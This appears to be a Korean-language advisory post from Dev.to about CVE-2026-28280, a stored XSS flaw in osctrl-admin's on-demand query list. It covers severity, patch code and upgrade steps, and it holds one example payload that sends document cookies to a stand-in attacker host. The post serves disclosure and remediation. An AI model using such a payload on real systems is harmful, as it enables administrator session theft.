CVE-2026-28280: osctrl-admin 온디맨드 쿼리 리스트에서 저장된 교차 사이트 스크립팅 (XSS)

발행: (2026년 2월 28일 오전 11:40 GMT+9)
4 분 소요
원문: Dev.to

Source: Dev.to

취약점 개요

  • 취약점 ID: CVE-2026-28280
  • CWE ID: CWE‑79 (웹 페이지 생성 중 입력값 부적절 중화)
  • CVSS v3.1 기본 점수: 6.1 (중간)
  • EPSS 점수: 0.00023
  • 공개일: 2026‑02‑28
  • 공격 벡터: 네트워크

osctrl 버전 0.5.0 이전의 osctrl‑admin 구성 요소에 저장형 교차 사이트 스크립팅(XSS) 취약점이 존재합니다. 낮은 수준의 query 권한을 가진 인증 사용자는 온‑디맨드 쿼리 인터페이스를 통해 악성 JavaScript를 삽입할 수 있습니다. 이 페이로드는 백엔드 데이터베이스에 저장된 뒤 관리 대시보드에서 적절한 컨텍스트 인식 인코딩 없이 렌더링됩니다. 관리자가 쿼리 히스토리를 볼 때 스크립트가 실행되어 세션 탈취 또는 권한 상승이 발생할 수 있습니다.

영향을 받는 버전

  • osctrl‑admin: HTML 태그 또는 기타 실행 가능한 JavaScript 페이로드 삽입이 가능함.

악성 페이로드 예시

fetch('https://attacker.example.com/steal?c='+document.cookie)

쿼리로 저장하면 페이로드가 그대로 보관되고, 나중에 관리자의 브라우저에서 쿼리 목록을 볼 때 실행됩니다.

소스 코드에서의 완화 조치

패치는 쿼리 표시를 위한 컨텍스트 인식 출력 인코딩을 도입합니다. 변경된 부분의 간략한 예시:

// Before (vulnerable)
fmt.Fprintf(w, "%s", query.Text)

// After (patched)
escaped := html.EscapeString(query.Text) // proper HTML escaping
fmt.Fprintf(w, "%s", escaped)

영향

  • 기밀성: 높음 – 공격자가 세션 쿠키나 기타 민감 데이터를 탈취할 수 있음.
  • 무결성: 높음 – 공격자가 관리자 인터페이스를 조작하거나 추가 악성 콘텐츠를 삽입할 수 있음.
  • 가용성: 낮음 – 이 취약점은 서비스 가동 시간에 직접적인 영향을 주지 않음.

악용 가능성

  • 악용 상태: 개념 증명(PoC) 존재.
  • 낮은 권한의 인증 사용자가 추가 권한 없이도 취약점을 트리거할 수 있음.

해결 방안

  1. 업그레이드: osctrl v0.5.0 이상으로 업데이트.
  2. 최신 Docker 이미지 또는 osctrl v0.5.0 바이너리를 받아 osctrl-admin 서비스를 재배포.
  3. HTML 태그(예: **test**)가 포함된 쿼리를 저장해 보며, 태그가 문자 그대로 표시되고 HTML로 해석되지 않는지 확인하여 패치 적용 여부를 검증.

추가 보강 권고사항

  • 모든 사용자 입력 데이터에 입력 검증을 적용.
  • HTML 컨텍스트에서 렌더링되는 모든 데이터에 출력 인코딩을 강제.
  • 최소 권한 원칙을 따르고, query 권한을 실제로 필요로 하는 사용자에게만 제한.

참고 자료

  • GitHub Advisory: GHSA‑4rv8‑5cmm‑2r22
  • NVD Entry: 취약점 상세 및 분석 (NVD 링크)
  • Vendor Advisory: (벤더 권고 링크)
  • CVE‑2026‑28280 전체 보고서 (벤더 웹사이트에서 제공)
0 조회
Back to Blog

관련 글

더 보기 »

일이 정신 건강 위험이 될 때

markdown !Ravi Mishrahttps://media2.dev.to/dynamic/image/width=50,height=50,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fu...